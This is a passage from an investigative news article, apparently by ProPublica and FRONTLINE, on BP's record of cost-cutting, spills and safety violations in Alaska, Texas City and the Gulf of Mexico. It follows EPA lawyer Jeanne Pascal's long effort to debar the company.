concerns. The investigation found that as BP transformed itself into the world’s third largest private oil company it methodically emphasized a culture of austerity in pursuit of corporate efficiency, lean budgets and shareholder profits. It acquired large companies that it could not integrate smoothly. Current and former workers and executives said the company repeatedly cut corners, let alarm and safety systems languish and skipped essential maintenance that could have prevented a number of explosions and spills. Internal BP documents support these claims.  A ProPublica analysis of state and federal records revealed that BP has fared far worse in the United States than the rest of the industry in terms of spills and serious safety violations.  In Alaska, home to one of BP’s longest-standing and most important business units, the company produced nearly twice as much oil as ConocoPhillips, the other major company operating there, but since 2000 it has also recorded nearly four times as many large spills of oil, chemicals or waste. In the Gulf of Mexico, BP had more spills than Shell between 2000 and 2009, even though Shell produced more oil there.  BP’s workers also appear to be more at risk. In Alaska, it has had 52 worker-safety violations since 1990, compared with ConocoPhillips’ seven. Nationally, according to an extensive analysis of data from the Occupational Safety and Health Administration, BP had 518 safety violations over the last two decades, compared with 240 for Chevron and even fewer for its other competitors. Since those statistics were compiled, in 2009, OSHA has announced 745 more violations at two BP refineries, one near Toledo, Ohio, and the other in Texas City, Texas, where 15 people were killed and 170 injured in a 2005 explosion.  BP’s Texas City Refinery is the company’s largest and the third largest in the United States. (Abrahm Lustgarten/ProPublica)  “They just weren't getting it,” Jordan Barab, OSHA’s deputy assistant secretary of labor, told ProPublica and FRONTLINE. In the last decade, OSHA records show that BP has been levied 300 times more in fines for refinery violations than any other oil company.  “BP's cost-cutting measures had really cut into their plant maintenance, into their training, into their investment in new and safer equipment,” Barab said. “When you start finding the same problems over and over again, I think you are pretty safe in saying they've got a systematic problem.”  According to documents obtained exclusively by ProPublica and FRONTLINE, some of the inspectors BP was using to monitor its pipelines in Alaska, where two serious spills occurred in 2006, weren’t properly certified or trained.  Oil Company Total OSHA violations from Jan. 1, 1990 to June 1, 2009 Total Alaska Occupational Safety and Health Violations Jan. 1, 1990 - June 1, 2009 BP 518 52 Chevron 240 3 ConocoPhillips 193 7 Exxon 108 0 Shell 217 13  Oil Company Total OSHA penalties since 1/1/2000 for Refineries Only BP $108,911,950 Chevron $170,620 ConocoPhillips $200,685 Exxon $359,740 Shell $306,675  Even today, four years after former CEO Tony Hayward pledged to keep a “laser-like” focus on safety, maintenance on the massive turbines that run the company’s Alaska plants has been deferred. Many of these facilities operate without fire and gas detectors, because theirs are outdated and are expensive to replace. Workers in Alaska told ProPublica they fear another deadly BP accident could happen at any moment.  The pattern extended to BP’s Gulf of Mexico operations. BP’s flagship $1 billion Thunder Horse drilling platform nearly sank in 2005 after engineers installed ballast valves backward. And a federal lawsuit over safety concerns on another BP rig, Atlantis, was making its way through the courts even as the Deepwater Horizon exploded.  BP declined repeated requests for comment and for an interview with its new CEO, Robert Dudley. When sent a list of more than 30 questions, it replied with a three-paragraph statement saying that BP will establish a new safety division reporting directly to the CEO. Monday, in a press conference in London, Dudley said that he did not believe that BP is an unsafe company, and warned that the ProPublica and FRONTLINE report would be unflattering.  The Prudhoe Bay drilling field on Alaska’s North Slope covers some 330 square miles. (Abrahm Lustgarten/ProPublica)  For Pascal, the explosion in the Gulf heightened the frustration she’d felt in the last months of her job. BP’s Prudhoe Bay and Texas City units had been automatically blocked from government work on her watch—that’s the minimum debarment action after a prominent air or water pollution crime in the United States—but she’d never been able get the company to change. She’d used all the normal tools to bring BP into what the government calls “compliance.”  The only thing she hadn’t done was bring down the big hammer: the EPA’s power to ban an entire company from doing business with the federal government.  Many companies have been debarred, but never has one as large as BP, or as important to the U.S. economy and security. Debarment would have severed BP’s contracts with the American military and jeopardized the company’s long-term access to reserves that generated nearly $16 billion in revenue for the company last year. BP’s stock price would likely have gone into a tailspin.  Now, with the Deepwater Horizon disaster unfolding on her TV screen, Pascal believed such a move was finally warranted.  Curious for more news, she called her old office in downtown Seattle. But the EPA was already in lockdown. Just weeks out of a 26-year EPA career, she was told she couldn’t talk to her old team. She’d have to call the public affairs office if she wanted information.  Pascal then dialed another number, for Scott West, a retired EPA criminal investigator who had also worked the BP case. He, too, was enraged by what he saw happening in the Gulf, and reporters were pressing both of them for information. Together they decided they had an obligation to tell people what they knew about the company at the core of this unfolding tragedy. If the public had known sooner, Pascal thought, perhaps the Deepwater Horizon disaster might have been prevented.  BP’s Historic Ambition  BP’s ascent to the top tiers of the oil industry hit full stride in 1995, when John Browne became CEO. The company was founded as the Anglo Persian Oil Company in 1909 but languished after Middle Eastern countries nationalized their oil in the 1970s. By the time Browne took over, it was so far behind Exxon and Shell, the world’s largest independent oil companies, that it could hardly feel their tailwind.  Browne was an engineer who had practically been raised in BP’s business. But with a passion for art and the London Opera, he was hardly a typical oilman. He did, however, have a vision for a bigger, sleeker BP.  In 1998 he put together what was at the time the largest merger in corporate history—the $61 billion buyout of Amoco Corporation. By mid-2001 he had also bought ARCO and four other companies.  Spills greater than 50 barrels in the Gulf of Mexico between 2000 and 2009  Company Volume Spilled (Barrels) Number of Spills Oil Produced (Barrels) BP 8,638.88 23 879,356,448 Shell 5,546.97 21 1,339,203,125 Chevron 3,465.77 19 592,998,061 Noble 1,474.58 8 29,877,928 Apache Corporation 1,118.63 7 144,674,625 Stone 1,192.78 6 40,898,883 Murphy 1,641.60 6 77,618,538 Anadarko 2,107.30 5 93,437,525 Devon Energy 704.20 5 89,445,419 Mariner 2,322.62 5 28,055,560 W & T 1,351.42 5 31,285,206  Alaska Spills of Oil, Chemicals or Waste Greater Than 100 Gallons Between Jan. 1, 2000 and May 31, 2010.  Company Number of Spills Total Volume Spilled (gallons) Oil Production 2000-09 (Barrels) BP 364 1,034,968 1,975,260,738 ConocoPhilips 107 234,403 1,035,279,479 Unocal 21 9,359 55,709,224 XTO 0 0 12,929,192 Pioneer 17 12,908 3,383,798  “We’ll be the largest producer of oil in the non-OPEC world,” Browne said when he announced the ARCO merger.  On paper, the company quadrupled in value and became a huge global competitor overnight. Browne was hailed in Britain as the “Sun King,” and in 1999 BP’s stock soared to what was then an all-time high.  BP’s next challenge was not only to integrate its thousands of new employees and numerous industrial facilities, but to do it without increasing the company’s already-significant debt.  Fadel Gheit, a managing director at the investment bank Oppenheimer, said that during the time of the mergers BP's debt ratio was at least 10 percentage points higher than was normal for the company.  "BP has historically maintained higher debt levels and debt ratios than its peers,” he said. “It believed that debt is the cheapest source of capital.” In contrast, he said, “U.S. majors Exxon and Chevron believe in low debt, or even no debt, and investors seem to like that."  Browne, with little wiggle room, brought the companies into the fold by slashing jobs and cutting costs. He squeezed out $2 billion in savings from the Amoco merger alone.  At the same time he steamed ahead with extracurricular projects that Tony Hayward would later describe as distractions. Browne delivered speeches on climate change. He rebranded the company from British Petroleum to BP and added the “Beyond Petroleum” tagline to put it in a more cosmopolitan, ecological light.  But Browne and other senior managers weren’t deeply engaged in the day-to-day operations of their facilities, and the disparate corporations they acquired were never fully integrated. More than a decade later, employees still identified themselves as ARCO, or Amoco, or wherever else they came from. And each of those cultures approached safety and maintenance differently.  “Growth creates challenges to management,” said Ronald Freeman, a former managing director for Salomon Smith Barney. “BP in this case just grows beyond its management ability to watch everything they need to watch when they need to watch it.”  While Browne reveled in the spotlight—he was even knighted by Queen Elizabeth—cracks began to appear in his burgeoning company, cracks that Jeanne Pascal would be among the first to spot.  The Government Was Warned  Pascal was assigned to BP in 1998, when the company’s Alaska division was settling a criminal case involving a contractor who had illegally dumped hundreds of gallons of toxic waste back into a well hole. It was the company’s first federal felony, Pascal’s first assignment to BP and the first dot in a crude portrait of what would shape up to look like a repeat offender.  Pascal was 49 at the time. An affable woman, with carefully coiffed hair and residual southern charm, she grew up in Tennessee and got a law degree from University of Memphis. After graduation she landed a job as a prosecutor in a small town north of Seattle and married a sheriff’s deputy.  But Pascal wanted to “make a difference,” and she decided to move into environmental law. She set her sights on getting a job with the EPA, and after sending her resume to the agency every month for a year, she was finally hired in 1984.  “I actually put the memo of hiring into a scrapbook,” she said.  By the time she was assigned to the BP case, Pascal had handled at least 600 EPA cases against large and small companies, usually juggling 25 to 50 at a time.  Almost any time a company is convicted of a crime it faces the possibility of a ban on federal contracts, or debarment. When debarment kicks in—or in some cases to avoid it in the first place—companies reach a settlement with the EPA that establishes benchmarks they must meet, so the government can eventually lift the sanctions.  In Pascal’s experience, most companies settled quickly and in good faith, and at first BP seemed to be following that path. After pleading guilty to felony charges, it avoided debarment by signing a settlement agreeing to five years of probation and promising to institute a “revised corporate attitude.” It pledged not to punish employees who reported environmental concerns and said it would spend $15 million on an environmental management program for its operations in Alaska, Texas and the Gulf.  As part of the agreement, BP Exploration, the company’s Alaska division, also agreed that its Health, Safety and Environment director would report directly to the division president, so top executives couldn’t avoid hearing about serious safety concerns. The EPA identified this as one of the most important things BP could do to reform its safety culture in Alaska.  For several years, BP appeared to be complying with the agreement.  The monthly reports it sent to Pascal detailed the success of its maintenance and safety programs. Senior managers assured her personally of the company’s progress when they met in the conference room of Seattle’s Fairmont Hotel. There were a couple of accidents, but executives blamed irresponsible employees or assured her the problems had been fixed.  Then, in early 2004, Pascal was sitting at her desk at the EPA when she got a phone call from a BP mechanic who was a member of the United Steelworkers Union on Alaska’s North Slope.  “There are awful things happening on this oilfield,” Marc Kovac told her.  Kovac was referring to the facilities where he was working near the shore of the Arctic Ocean.  He described serious corrosion in some sections of pipeline and said BP was manipulating environmental inspection reports to show that the pipelines were fine. He told her that workers who complained about the problems had been fired. And he said that a leak—or worse, an explosion—could happen any day.  “I’m scared for my life,” Pascal recalls Kovac telling her. “If you have a case against BP Alaska you don’t want to let them go.”  Pascal’s phone kept ringing, and workers began sending her documents and internal company e-mails to support their claims. Among them were documents from the mid 1990s describing BP’s decision to put off or cancel corrosion maintenance in order to save money and meet John Browne’s budget targets. Other documents showed that BP had delayed replacing the gas detectors that warn of a potential explosion.  Oil worker Don Shugak was injured in 2002 when a well blew out in his face. (Kendra Shugak)  Pascal learned that a BP oil worker, Don Shugak, had been severely burned in 2002 after a well exploded in his face—and that BP had misled investigators about the cause of the accident. And she discovered that in 2003 the company had failed to report a small oil spill until after it had begun cleaning it up.  The BP case was turning into a case unlike any other she had handled. “I’d had whistleblowers come forth before, like one or two, maybe three,” she said. “I’ve never had 35 to 40 people come before me.”  Pascal was furious. It appeared that BP had deliberately misled her and had violated its compliance agreement, but she needed an investigation to find out for sure.  “I tend to take people at face value,” she said. “One of the hardest moments of my life with BP was in the first six months of 2004 when I realized that I had been managed, and that I had been so easily manageable. They lied. I had swallowed their line hook, line and sinker.”  Losing trust in BP was a hard lesson for Pascal, and the events of 2004 changed the way she approached the company in the six years that followed. For the first time she thought she might have to actually debar this company.  Pascal demanded that BP investigate the workers’ claims. In a meeting in Seattle in late 2004, the company’s lawyers from the firm Vinson & Elkins showed the EPA an internal investigation that—while critical of BP in some aspects—dismissed many of the concerns.  “We did not find any evidence that the allegations regarding data fraud in the CIC program had merit,” the report stated, referring to the corrosion maintenance program.  Pascal remained convinced that an accident was inevitable. She shared her fears with the EPA’s Criminal Investigation Division but said she was told that until an accident occurred, there was nothing to investigate.  Pascal then took her material to the Department of Justice.  “I said I had documents which showed the pipelines were in bad shape and that sooner or later there was going to be some kind of a failure,” she said.  An agent from the Federal Bureau of Investigation traveled to the North Slope to poke around but found nothing that could be knitted into a prosecution. The federal government, Pascal was again told, didn’t have jurisdiction to interfere with oil and gas infrastructure unless a crime had been committed or an accident had already happened. In the meantime BP’s five-year probation period had run out, taking most of Pascal’s leverage with it.  “I explored that with all kinds of people and I couldn’t find a jurisdictional way in, other than to let it happen,” she said. “So we had to wait.”  A Deadly Disaster in Texas  It didn’t take long for the disaster to happen—it just happened 4,600 miles from Prudhoe Bay.  On March 23, 2005 a tower used to boil hydrocarbons at BP’s sprawling 1,200-acre Texas City refinery was overfilled as the system was being restarted. Fumes, and then volatile liquid, filled an antiquated “blow down drum” meant to catch the overflow and spewed from the top like a geyser. When the fumes reached the engine of a truck idling nearby, the place blew up.  The blast obliterated a nearby office trailer. Fifteen people died.  That night, in her quiet country home outside Seattle, Jeanne Pascal broke down in tears. This accident could have been avoided, she told her husband, Dallas Swank.  “She was fairly certain that when the dust settled that they were going to find out that this was due to lack of maintenance and all the same things happening in Alaska,” he said.  Pascal was right.  Though Texas City was a refinery, not a production field, the circumstances were nearly identical. The BP executive responsible for refining at the time, John Manzoni, was managing maintenance issues in Alaska in the 1990s, when some of the cost cutting described in the e-mails that workers had sent to Pascal took place.  Texas City had been operating under budget cuts since BP took it over from Amoco in 1999. Workers—including the plant’s manager—had explicitly warned top corporate executives that they didn’t have the equipment or the resources to prevent a deadly explosion.  An internal BP safety report completed just months before the explosion said executives were “not in control of management of major hazards. The cost cutting has gotten to an extremely critical stage … there is not any slack in the system.” It continued: “There is an exceptional degree of fear of catastrophic incidents.”  Manzoni, now the chief executive of Talisman Energy, based in Calgary, Alberta, declined to comment. BP also declined to answer questions.  Investigators later found that Texas City’s isomerization unit—the refining tower that ignited—was relying on what is called a “blow-down drum,” a piece of equipment that was considered state of the art in the 1950s, to catch overflowing fuel. Amoco had been told to replace the drums as far back as 1977 but hadn’t acted. BP considered switching them out in 2002 but held off because of the $150,000 cost.  “Capital expenditure is very tight,” said an internal BP e-mail from management about the decision at the time. “Bank $150k in savings now.”  The Texas City blast was the largest industrial disaster in the United States in decades. Former Secretary of State James Baker, who led an investigation into the accident on BP’s behalf, said: “BP has not adequately established process safety as a core value.”  The explosion knocked BP, and John Browne, off their meteoric trajectory.  “BP gets it, and I get it too,” Browne would later say. “This has happened on my watch, and as chief executive I have a responsibility to learn from what has occurred. I recognize the need for improvement.”  The Largest Spill Ever on Alaska’s North Slope  BP was still coming to terms with what had happened in Texas when disaster struck again, this time in Alaska.  At 5:58 a.m. on March 2, 2006, an Alaskan field operator radioed in an emergency “code black.” He had discovered an oil leak—a melted pool in a drift of pure white snow—near the central pipeline that gathers oil from the western half of the Prudhoe Bay oil field. Some 212,000 gallons—the largest spill ever on the North Slope—had leaked from a dime-sized hole in the line over three days. The pipeline’s spill-detection alarm system had malfunctioned, failing to alert BP.  BP revealed that it had not “pigged” the line—the standard maintenance process, in which a bullet-shaped robot is run through the pipe to clean it and measure corrosion—in eight years, in part to save money.  Congressional investigators turned up a set of e-mails—including some of the same documents Pascal had taken to the Justice Department—explaining that BP had also stopped using chemical corrosion inhibitors on the pipelines, even though it knew that would increase the chance of a spill.  “Due to budget constraints, the decision has been made to discontinue the PW inhibitor,” a manager with BP’s corrosion program wrote in 1999. “The GC2 bulk tank should run out within the next two days and it will not be refilled.”  Three days later, a colleague responded, “I thought the PW lines were the ones in least control and therefore the ones we are most worried about.”  In an April 2005 exchange, BP’s corrosion management team discussed three ways to meet budget cuts: stop pigging, stop using chemicals to control corrosion or cut back inspections.  “We have huge infrastructure that is hanging on with no margin for error,” wrote Kip Sprague, a corrosion manager. “Bitch, bitch, bitch … I will try to wrestle down some middle ground between the reality of the situation and some feel-good placeholders.” Sprague declined to comment on his e-mail.  Experienced oil workers said the Alaska spill was years in the making. Conditions in the 330-square mile drilling field are unusually harsh. Drilling operations are based in the town of Deadhorse, an industrial hashmark scratched out of the barren permafrost. It has an airport and thousands of temporary workers, but almost no year-round residents. In the winter, the sun never rises; in the summer, it never sets.  In the last miles before the shoreline of the Arctic Ocean, roughly 8 percent of America’s oil supply flows through an extraordinary network of oil wells and pipelines and dozens of factory-sized facilities, down through the TransAlaska Pipeline, south to the port of Valdez. From there, it is shipped to California and beyond.  The drilling rigs and pipelines on the North Slope were built in the 1970s, when it was expected the field would last maybe 15 years. But the oil deposits were much larger than expected, and BP has reaped unforeseen profits by pushing existing equipment to handle production for decades longer than was ever intended.  Marc Kovac, one of the mechanics who first complained to Pascal, told ProPublica that the company follows what he called a policy of “run to failure”—minimizing maintenance as it tries to squeeze the maximum possible production from each link in its chain of facilities. Now that the output of the North Slope has peaked, Kovac said BP managers see little incentive to upgrade equipment that will eventually be sold or abandoned.  The March 2006 spill jolted BP into crisis mode. In August Browne flew to Alaska to do damage control, touring the field with reporters and showing them how BP was attending to the mess.  But just two days later, a second smaller leak was discovered in the field’s major eastern oil artery. That pipe hadn’t been pigged since 1991, and an investigation found that 16 miles of it were severely corroded and could leak at any time.  As a precaution, the company cut off the entire flow of oil from the North Slope overnight, sinking BP’s stock and sending oil prices skyward.  “Shutting down the whole oilfield seemed a little extreme,” Browne wrote in Beyond Business, his memoir. “I knew the repercussions would be massive. … I did not think things could get much worse.”  Pascal was horrified—but not surprised—by what was unfolding. She also saw the opportunity she had been waiting for to help the North Slope whistleblowers.  “If a catastrophe has to occur to get others to belly up to the plate, it’s regretful, but it may be necessary before real change will take place,” she had written to Marc Kovac a year earlier. “I think this is win-able—the issue is at what cost.”  Now that a spill had occurred in Alaska, the EPA could formally begin a criminal investigation of the workers’ complaints. With Pascal’s help, Scott West and the EPA’s criminal investigation division quietly began work. Texas City was outside Pascal’s jurisdiction at the time, but a separate criminal investigation had begun there, too.  Bob Malone, the newly appointed president of BP’s American operations, told Congress there were “similarities” between the spills in Alaska and the Baker report on the explosion in Texas City. He acknowledged that the Prudhoe Bay spills were the result of “extreme” budget pressures and cost cutting that had discouraged preventative maintenance. He promised to create an independent ombudsman office so workers throughout the nation could communicate anonymously with management about safety concerns.  By the beginning of 2007, however, BP’s board was growing impatient with Browne’s now-numerous blunders. The scathing Baker report about the Texas City explosion came out just a week after BP learned that Browne had been having an affair with a man. According to news accounts and Browne’s memoir, the company had already decided to replace him the following summer with Tony Hayward, a longtime BP executive who had worked closely with Browne for years. But before the switch could be made, news broke that Browne had lied under oath about meeting his partner through London’s premier male escort service. He resigned the next day.  Years later, Browne wrote in his book that he still couldn’t understand how the Alaskan oil transit lines had deteriorated so badly: “We had inspected the line regularly, so why had the corrosion accelerated so rapidly?”  BP’s Inspectors May Not Have Been Qualified  One answer to Browne’s question might lie in information that BP hadn’t shared with Pascal, the public or congressional panels in 2006 and 2007: The inspection program the company relied on to check its pipelines was in disarray.  E-mails and letters obtained by ProPublica show that the main contractor BP was using to check its facilities, Acuren, employed inspectors who weren’t certified to perform their jobs and may not have been properly trained. The certification issues affected at least 19 inspectors responsible for more than 13,000 locations along the line and were serious enough that they were reported to BP’s board of directors in London.  Concerns about the inspectors were raised in early 2007 by Acuren’s training supervisor, Marty Anderson, according to an e-mail last year from BP’s deputy ombudsman. Acuren had hired Anderson after the 2006 spill, first to oversee the inspection program and later to audit the program’s overall effectiveness.  “He revealed a significant quality control breakdown in everything from the company’s procedures … to inadequate record keeping … to having actually unqualified inspectors in the field performing inspections,” Billie Garde, BP’s deputy ombudsman, wrote to BP’s general counsel. “The concerns were serious, and although people try to downplay the significance of the issues, they reveal a complete breakdown.”  Anderson, who has more than 20 years’ experience and has worked with companies including Shell and Chevron, couldn’t tell ProPublica about his findings because he signed a confidentiality agreement with Acuren. But he confirmed that the company had, indeed, employed uncertified inspectors, and he explained in general terms why this was significant.  “The worst problem is to be certified but not qualified, because that means the person did not meet the qualification standard but yet someone testified that they did,” Anderson said. “To me, that’s fraud and could be a criminal offense.”  BP and Acuren didn’t respond to Anderson’s complaints until he contacted the ombudsman’s office.  “The procedure did not move quickly enough or with enough rigor at the beginning both on our side and on Acuren’s side,” said an internal BP memo.  Pascal also learned of Anderson’s complaint. But since the ombudsman’s office had already taken on the issue, she decided to sit back to observe how BP would respond.  In October 2007—14 months after the shutdown and seven months after Anderson first reported his findings—Doug Suttles, BP Alaska’s president at the time and now the executive responsible for drilling in the Gulf of Mexico, began to act. BP hired an independent auditor and launched a three-part review of Acuren’s inspection program that confirmed Anderson’s claims. Acuren re-inspected more than 10,000 locations along the line. It also transferred two senior executives.  BP declined to answer questions about the inspection program, but BP later assured members of Congress that its inspectors were properly certified. Acuren did not respond to calls for comment.  Garde, the BP deputy ombudsman, said Acuren inspectors weren’t responsible for the exact sections of the line that leaked in 2006 and that most of them were competent to perform their jobs. But she was troubled that BP hadn’t uncovered the problems that Anderson found when it vetted the Acuren contract.  “BP has oversight responsibility of all of its contractors, and it should have identified these issues without the need for a worker to come forward and speak about them,” Garde said. “It would be a rare occasion to have another Marty Anderson in other contracts, and you can’t rely upon that.”  Garde was also concerned about how Anderson was treated after he reported the problem. Instead of being praised for his vigilance, he suddenly had trouble finding another job.  “Marty became the subject of both overt and subtle retaliation by Acuren and BPXA personnel,” Garde wrote in a letter to BP’s general counsel. “There is no question that there remains a high degree of hostility toward Marty by Acuren for ‘getting them in trouble.’ ”  BP was “Too Top Down, Too Directive, and Not Good at Listening”  By late 2007, BP’s internal problems were no secret. They had helped push the company’s celebrity CEO out of his job, and Browne’s replacement, Tony Hayward, minced few words about why.  “We diagnosed … a company that was too top down, too directive, and not good at listening,” he said in a speech to business students at Stanford.  “We failed to recognize we're an operating company. We had too many people that were working to save the world,” he continued, in a clear jab at Browne’s speeches on climate change.  Most famously, Hayward promised to turn the company around and to maintain a “laser-like focus” on safety. But it was unclear how he planned to do that.  In fact, soon after Hayward became CEO, BP’s Alaska division made a bold change that deemphasized safety and was a direct affront to Jeanne Pascal and the EPA: It removed the division’s Health, Safety and Environment director from a vice presidential position and dropped it several tiers down in the management hierarchy.  In Pascal’s first settlement with BP Alaska back in 1999, the company had agreed that the HSE director would report directly to the division president. But now HSE was being put into what the company calls a “technical directorate”—a group tasked with corrosion management and balancing maintenance with budget priorities.  “When you have environment and health and safety reporting to a business unit, what do you think gets the first attention?” Pascal said recently. “Business.”  Several former BP executives and managers say the move created a conflict because it meant that the person responsible for raising profits was also responsible for deciding how much to invest in safety. It also sent a clear message to employees that, in practice, safety was less important.  “Symbolism's important. The big stick’s gone,” said a former BP executive. Like other executives and managers interviewed for this story he declined to be named because he did not want to be seen as working against BP.  A spokesman for BP Alaska told ProPublica that the reorganization was meant to clarify leadership authority at the top of the organization, improve efficiency and emphasize safety rather than diminish it.  “For someone to look at a line on an org chart and determine that we had devalued the importance of HSE—that would just be wrongheaded,” said the spokesman, Steve Rinehart. “I don’t think that anybody could spend much time working around BP Alaska and not see pretty clearly how focused that organization is on safety and HSE.”  In an October 2008 letter to BP’s attorneys, Pascal and Carson Hodges, her junior co-counsel on the BP case, demanded that the HSE group be placed back under the president. They also wanted a specific BP staff member selected as their liaison in ensuring that the company complied with an eventual debarment agreement—a guarantee to Pascal that she wouldn’t be duped again.  BP rebuffed the government’s demands.  “BP was very recalcitrant,” Pascal said. “It was turning into a major impasse.”  The HSE issue was critical because the communication gap between BP’s senior executives and its operational managers had caused problems for the company before.  “Good news traveled instantly and bad news didn't travel at all,” Tony Hayward joked in that critical speech at Stanford.  When Bob Malone, the president of BP America, testified before Congress in late 2006, he swore that cost-cutting measures in Alaska hadn’t been a factor in the pipeline spill. He looked sheepish six months later when he testified again and had to admit that he hadn’t been aware of the extent of the cost-cutting program and that budget pressures had indeed compromised the pipeline.  After the Texas City explosion, BP’s head of worldwide refining, John Manzoni, gave a sworn statement that he, too, had been unaware of the cost-cutting pressures on the Texas City refinery and that he hadn’t been informed of the risks.  Pascal was beginning to wonder whether BP could be trusted to do business not just in Alaska but anywhere in the United States. A nationwide debarment had always been a possibility, but now it seemed it might actually be warranted. Such a move would cancel the billions of dollars in fuel contracts BP gets from the Department of Defense and prohibit BP from taking out new leases to drill on federal lands or waters. Since 39 percent of BP’s oil and gas production comes from U.S. territory, a nationwide debarment would have a critical impact on the company.  But Pascal wrestled with the implications. BP paid the federal government more than $674 million in royalties in 2009 for its government leases, and it provides nearly 12 percent of the U.S. military’s fuel supply.  “The question is does the environmental damage outweigh the government’s need for and reliance on BP’s oil and gas?” she said.  BP Focused on Safety but Didn’t Make Things Safe  On the surface, BP appeared to be getting safer in the years leading up to the Deepwater Horizon disaster.  Signs went up warning workers to hang onto handrails. Employees were forbidden to run in icy conditions. Meetings started with safety sermons. And each time a BP employee parked a pickup truck, he had to place a small yellow raft under the drive train in case a drop of oil fell from the gear box.  The number of recordable safety incidents dropped. Even as its profits increased, BP managed to achieve an exceptional safety record in terms of lost man-hours, said Robert Bea, an industry veteran and engineering professor at the University of California, Berkeley, who is independently investigating the Gulf spill.  But something was missing.  In Alaska, many of the same system-wide maintenance issues the company had been criticized for ignoring in 2001 remained unfixed. The conditions of the pipelines were as much a concern to workers as they were before the Prudhoe Bay spill.  “Everything was around lost work days, or recordables,” said one former senior executive. “That was what the board wanted.”  While BP was focusing on slips, trips and falls it wasn’t paying enough attention to “low-probability, high-consequence systems failures lurking in the background,” Bea said.  Texas City was a good example, said Don Holmstrom, who headed an investigation into the refinery blast for the Chemical Safety Board, a government agency that investigates industrial accidents. In the months before the disaster there—just as on the Deepwater Horizon rig—BP had achieved an excellent safety record as measured by recordable injuries and lost man-hours. But after the blast—and after “safety” became the company’s staple refrain—the dangers persisted at Texas City. Four more workers have died in accidents there since 2005.  “Citing personal safety statistics as an indicator,” Holmstrom said, does “not necessarily speak to how well one is doing.”  If the safety stats touted in annual reports were mostly window dressing, then the maintenance and reinvestment in the performance of BP’s facilities—in what the company calls “operational performance”—were the structural studs holding up the business, and they were neglected.  Former BP executives say the company’s top management made too many maintenance decisions while peering into a spreadsheet and that it was difficult for them to justify to their bosses making long-term, preventative investments.  “It’s been a struggle,” said a former BP executive who asked not to be identified because he still works in the industry. “I’m not going to make more money this quarter, but I have to increase spending in order to have a long-term viable business. That’s hard. I was just always explaining or trying to explain what we were trying to do in a language that is not purely financial.”  Nowhere were the risks created by underinvestment as palpable as at the company’s Prudhoe Bay operations.  In September, 2008, Karl Massera was walking along a high-pressure gas pipeline when it suddenly blew apart. There was no fire, but a 28-foot-long section of steel vaulted through the air, landing with a thud on the Alaskan tundra a fifth of a mile away. Massera hit the ground, expecting to die, as the 10-ton steel pipeline whipped through the air like a wild snake. Shouting over the roar of the leaking gas, he radioed the control center to warn them not to shut down the field’s electricity, because if they did, a spark could kill him. An electrical spark had once ignited an explosion in a similar incident and burned several nearby facilities to the ground.  Just 30 minutes after Massera radioed for help, another unrelated leak occurred on a separate line a couple of miles away.  A little more than a year later, a staging valve stuck closed at a large central compressor plant in Prudhoe Bay. Gas backed up, enveloping the facility in flammable fumes. Although flares had been installed to prevent a disaster like the one in Texas City, they weren’t lit and didn’t function. So the gas built up and spread around the plant. Sleeping barracks were nearby, and just a spark of static electricity in the bone-dry arctic air could have ignited an explosion that could kill hundreds of workers and shut down Alaskan oil production for years. That it never happened was just sheer luck.  Then, in November 2009, ice built up in a 25-year-old pipeline to the Alaska division’s Lisburne Production Center—a facility so large that it dominates the horizon at the edge of the Arctic Ocean. The frozen line eventually split open, dumping nearly 46,000 gallons of crude oil, toxic wastewater and natural gas onto the frozen ground. BP had been warned by workers months before the spill that numerous problems at Lisburne were increasing the risk of such an accident.  The incidents enflamed Pascal’s distrust, and she began to ratchet up her demands that BP agree to a set of rigid checks in order to fend off debarment. BP’s progress reports on its maintenance projects were no longer good enough. Now she demanded receipts.  “I was no longer willing to accept their word,” she said. “Show me, what did you maintain? I want to see what you paid, who you paid. What did you replace? I wanted the details.”  “They did not like that at all,” she added.  ProPublica gave BP a detailed list of questions about each of these incidents and asked for examples of how the company had strengthened operational safety in Alaska since 2001. But BP's response did not address the incidents or the Alaska safety issues.  The End of the Line  By the end of the decade Pascal again began to think that the only way to make the company improve was to debar the entire corporation. “There comes a point where the events conspire to basically show federal regulators that a particular company, for whatever reason, has no intent of complying with U.S. law and regulations,” she said.  The company now had three criminal convictions—in Endicott Bay, Texas City and Prudhoe Bay—and a deferred criminal conviction in a price-fixing scandal. It also had a record of ongoing problems and employee harassment.  Pascal began carrying the completed debarment papers tucked under her arm as she made her way into work. Yet she still held to one last hope that a compromised compliance agreement could be reached.  By 2009 her demands included extra regulations and oversight of BP operations not just in Texas and Alaska, but also in the Gulf. It included moving the HSE group back up in the company command.  Pascal, at this point, was on the verge of retirement—she had promised herself she would leave at the age of 60. But she postponed her departure several times in order to see the BP case through. She said company executives acted confident—“arrogant”—as if they believed BP was so important that the U.S. government would never dare to debar it. “BP told me multiple times that they had direct access to the White House and they would go there.”  In a last-ditch effort, she decided to call the company’s bluff. If BP thought the Defense Department needed it so badly it would never allow debarment, Pascal would show them they were wrong.  In the spring of 2009 she called a meeting with BP’s new general counsel, Jack Lynch, at the Fairmont in Seattle to show him an e-mail her office had received from the Defense Department. In it, an official with the Defense Logistics Agency, the division responsible for BP’s fuel contracts, offered unconditional support for debarment.  “You could do anything you wanted to BP and we could deal with it,” the official, Normand Lussier, wrote, adding that he didn’t think defense concerns should play into Pascal’s judgment.  The message was clear. The government was united in its concern about BP. Now the company needed to act.  Pascal thought she had reached a turning point with BP. Lynch was new to his job, and she said he seemed genuinely intent on a reaching a resolution.  But months passed, and still the agreement wasn’t signed. Pascal began to suspect that BP was waiting her out.  Her concern grew when she learned that Marty Anderson, the inspection supervisor who had raised the alarm about BP’s pipeline inspection program in Alaska, was accusing the company of blacklisting him. Here she was, working out a final agreement that pivoted around open safety communication between workers and their managers, and the company appeared to be punishing the man who had raised a flag about one of its worst spills in a decade.  “It appears that BP, regardless of its code of conduct and statements to the government, will do whatever is necessary to cover up the improper actions of its senior managers,” she and Hodges, her junior co-counsel, wrote in an e-mail to Lynch and BP Alaska’s new president, John Minge, on January 19, 2010. “This promotes intimidation, retaliation, blackballing and unethical behavior in the management ranks, and a culture of fear and lack of ethics in the employee ranks.”  “Nothing has been done in TWO YEARS,” the letter continued. “This is a current graphic example of why EPA does not trust BP.”  When she wrote that letter, Pascal had all but made up her mind. If BP didn’t sign the settlement agreement soon, she would double back on her case, make sure the documents behind her claims were rock solid and send the debarment papers up the flagpole for a final signature from the EPA’s suspension and debarment official.  Two days later, Pascal was walking into the elevator at the EPA’s downtown Seattle offices when her foot caught on an uneven lip at the door. She fell, hard, and was taken to a hospital, her face bruised, her rotator cuff so badly torn that her doctor said it was one of the worst shoulder injuries he’d seen.  For a few weeks, she tried to work from home. But 